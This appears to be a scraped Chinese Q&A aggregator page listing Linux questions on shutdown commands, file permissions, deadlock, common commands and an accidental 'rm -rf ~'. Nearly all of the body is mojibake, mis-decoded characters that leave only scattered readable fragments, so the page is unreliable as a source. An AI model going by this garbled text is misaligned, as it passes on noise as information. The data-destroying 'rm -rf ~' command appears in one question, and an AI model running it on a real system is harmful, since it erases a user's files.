    绛旓細绋嬪簭鍦ㄦ墽琛屾椂鏈灏戝搴斾竴涓繘绋嬶紙涔熷彲鑳藉搴斿涓級銆10锛氭閿<DeadLock>: 鏄寚涓や釜鎴栦袱涓互涓婄殑杩涚▼鍦ㄦ墽琛岃繃绋嬩腑,鍥犲郊姝ょ瓑寰呭鏂瑰崰鏈夌殑璧勬簮鑰岄犳垚鐨勪竴绉嶄簰鐩哥瓑寰呯殑鐜拌薄锛堝惊鐜瓑寰咃級,鑻ユ棤澶栧姏浣滅敤,瀹冧滑閮藉皢鏃犳硶鎺ㄨ繘涓嬪幓.姝ゆ椂绉扮郴缁熷浜庢閿佺姸鎬佹垨绯荤粺浜х敓浜嗘閿,杩欎簺姘歌繙鍦ㄤ簰鐩哥瓑绔虹殑杩涚▼绉颁负姝婚攣杩涚▼.
  • Linux閲岄潰鐨刾oweroff 銆乭alt銆乻hutdown -h now杩欎笁涓懡浠ょ殑鍖哄埆鍦ㄤ簬浠涔...
    绛旓細shutdown -h now灏辨槸halt锛屽悗杈逛笉鍐檔ow鑰屾槸鍐欎竴涓叿浣撴椂闂村彲浠ヨ缃嚑绉掑悗鎵ц杩欎竴璇彞锛屽疄闄呬笂halt鍚庢槸鎺夌數鍏虫満鐨勩備簩銆佺敤娉曚笉鍚 shutdown鍛戒护锛岄氳繃鍙傛暟-h鎴-r鐨勯厤鍚堟潵瀹屾垚鍏虫満鎴栭噸鍚紝涓嶈繃鍦linux绯荤粺涓彧鏈夋嫢鏈塺oot鏉冮檺鎵嶅彲浠ヤ娇鐢ㄨ繖涓懡浠ゃ傜敤halt鍛戒护鏉ュ叧鏈烘椂锛屽疄闄呰皟鐢ㄧ殑鏄痵hutdown -h锛宧alt 鎵ц...
  • linux涓繍琛涓涓剼鏈,鐢ㄦ埛涓嶉渶瑕佷粈涔堟牱鐨勬潈闄
    绛旓細linux涓繍琛涓涓剼鏈紝鐢ㄦ埛涓嶉渶瑕乄鏉冮檺銆傛墽琛岋細1銆傚啓鍏ワ細2銆傝鍙栵細4銆傚叾浠栨潈闄愬垎鍒槸 锛峳w锛嶏紞锛 锛600锛 锛嶏紞 鍙湁璇诲啓鏉冮檺銆傦紞rw锛峳锛嶏紞r锛嶏紞 锛644锛 锛嶏紞 鍙湁鏈夎鍐欐潈闄愶紱鑰屽睘缁勭敤鎴峰拰鍏朵粬鐢ㄦ埛鍙湁璇绘潈闄愩傦紞rwx锛嶏紞锛 锛700锛 锛嶏紞 鍙湁鏈夎銆佸啓銆佹墽琛屾潈闄愩傦紞rwxr锛峹r锛峹 锛755锛...
  • linux鍙互鎵ц鍦ㄩ噺瀛愯绠楁満涓婇潰鍚
    绛旓細2022-10-03 路 TA鑾峰緱瓒呰繃1618涓禐 鐭ラ亾灏忔湁寤烘爲绛斾富 鍥炵瓟閲:124 閲囩撼鐜:83% 甯姪鐨勪汉:25涓 鎴戜篃鍘荤瓟棰樿闂釜浜洪〉 鍏虫敞 灞曞紑鍏ㄩ儴 linux鍙互鎵ц鍦ㄩ噺瀛愯绠楁満涓婇潰鍚 鐩墠鏉ヨ,鏄笉鑳,鍥犱负鐜板湪鍚勪釜鐮旂┒鏈烘瀯鏇濆嚭鐨勯噺瀛愯绠楁満閮芥槸鍘熷瀷鏈,杩炲紑鍙戠増閮界畻涓嶄笂銆Linux绯荤粺鏄敤C璇█缂栧啓鐨(鐗瑰埆鏄疞inux鏍稿績)...
  • 鐢linux涓嶅皬蹇鎵ц浜嗕竴涓懡浠,rm-rf ~ 鏈潵鏄湁涓涓獈123鐨勬枃浠,鎵嬫寜閿...
    绛旓細娌′粈涔堝緢澶х殑鍏崇郴锛/root搴旇鏄痳oot鐨刪ome鐩綍锛岄噸寤轰竴涓氨鍙互浜嗐傛洿澶氬懡浠ゅ涔犺祫鏂欙紝浣犲彲浠ュ弬鑰冦Linux灏辫杩欎箞瀛︺嬨
  • linux甯哥敤鍛戒护
    绛旓細mv鍛戒护鐢ㄦ潵绉诲姩鏂囦欢銆 閫夐」 璇存槑 -i 浜掑姩锛氬鏋滈夋嫨鐨勬枃浠朵細瑕嗙洊鐩爣涓殑鏂囦欢锛屼粬浼氭彁绀虹‘璁 -f 寮哄埗锛氬畠浼氳秴瓒婁簰鍔ㄦā寮忥紝涓嶆彁绀哄湴绉诲姩鏂囦欢锛屽睘浜庡緢鍗遍櫓鐨閫夐」 -v 璇︾粏锛氭樉绀烘枃浠剁殑绉诲姩杩涘害 mv t.txt Document 鎶婃枃浠秚.txt 绉诲姩鍒扮洰褰旸ocument涓9 銆乺m鍛戒护 rm鍛戒护鐢ㄦ潵鍒犻櫎鏂囦欢銆 閫夐」 璇存槑 -i ...
  • 扩展阅读:linux 后台执行 ... mx linux 为何排第一 ... linux为什么很少人用 ... 目前公认最流畅的linux ... linux适合普通人用吗 ... 自学linux有前途吗 ... linux三种可执行文件 ... 给磁盘授权可读可写 linux ... 学linux好找工作吗 ...

    本站交流只代表网友个人观点,与本站立场无关
    欢迎反馈与建议,请联系电邮
    2024© 车视网